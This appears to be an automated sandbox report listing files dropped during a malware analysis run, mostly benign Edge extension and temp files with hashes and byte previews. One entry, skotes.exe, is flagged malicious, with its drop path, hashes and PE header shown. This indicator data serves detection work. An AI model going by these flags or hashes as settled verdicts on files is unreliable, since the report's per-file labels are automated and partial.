Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\11da1df9-df9c-42ab-920b-80bbcdda525b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\138a3bdc-15ee-4e92-9457-739e2ac8e751.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GM0GqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIO:l81Ltl7E6lEMVo/S01fDpWmEgs
MD5:	FE412FA3A2B510A55FE8496C5490BB2F
SHA1:	499667BC9FE43344D037FB95A6563AD30D3DB3D5
SHA-256:	DE6110AFBA31DC638DE84FD6D255D78C2125CEFADCE3774B310149B4EBE5EE1D
SHA-512:	3E8821A1249AA4DC88629C9D6BF6BAD0AE9074CFCACB22B3E856F05DB9DCB54A5B4A3F03D9BE94F06C79F28313C95F5E77A66543ADA180ACBE71BC824AEB47B5
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\2cc781bc-ffc3-49ce-979f-06c2c044ec1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\486b189b-c117-426c-9f35-3262d50b4545.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\6b45466e-55a0-455b-a8b1-cc19f661e26d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\86a6a60e-a78b-488a-8d13-d90bb347149d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1595615
Entropy (8bit):	7.993402775708406
Encrypted:	true
SSDEEP:	49152:al8uljspGzdcZjqAb0CfgRFeg57i5fbbSBNc4H/3/RSA:82rZjxno+g5G693ZSA
MD5:	AA0134B04A076D961DF89E84868A7249
SHA1:	26657CBBB58AA77887B7F6C2FB8C4BB7A63FE2B3
SHA-256:	7B9AA1416B911386A884DFFA3F1D23F8EBB06EF5FD865C37EDFD2FC94B63440C
SHA-512:	E41FD6B457614E887D8CFB4C44713B78C241DECCE33A18AAA3C65FCB426B59C51F866660C756461186CE4C06CEE880F5A48BCBD3568F9F7E707871FEA7A347FB
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsKJECFHCBKK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3331584
Entropy (8bit):	6.642458525443112
Encrypted:	false
SSDEEP:	49152:LqaSD6qBhDiJX4NMAp7s1nD3FbZKJJtLhyJmNdK2DFNMx:Lqa+6qBYJoNMApY1TXKJJtLkU8gNM
MD5:	1E47E2F65D0C0C34238B0FF295D88686
SHA1:	7D5C5068EAFFCA9D6A6017715569D1E2CC9A9F16
SHA-256:	24F533A720D7C7991215C27D3C1B1C1952FBD857C65D1D5D42987C45F1AF55B2
SHA-512:	3915257325B514C25032913CD9A7DCF06F69708F184335E1AE8AC22AEC8A84B97D2705E237625263AB50B0AF9A92267F4B80FCC6B53369097358B3BC9041EEB9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................3.......2...@.................................W...k.............................2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...toqszsru. ,.......,.................@...bemtxewq......2.......2.............@....taggant.0....2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.424899823798078
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0vj50e0voSdL5M:JIVuwEw5MUFZLBQLtOmdNM
MD5:	6F7B36EFDBF6245D4CA69C8570343A34
SHA1:	39B6D3D7744D95B3FA5319D046EF9E32DB27438E
SHA-256:	37A482ABA72D08E4742AEA96121983E50FD1B5FA597CA021C8263C45B703BF4D
SHA-512:	2FBF6CAAA0A870EC64567B8FC28E6A61CC1A5C75F64ABCE9032418458C470EAAC102E963F3DA9E63BE4439C1CF535CB94D5B3841BBD7DE676FE433BFD9612C79
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1367996613\11da1df9-df9c-42ab-920b-80bbcdda525b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1367996613\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1367996613\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1367996613\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1367996613\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\6b45466e-55a0-455b-a8b1-cc19f661e26d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
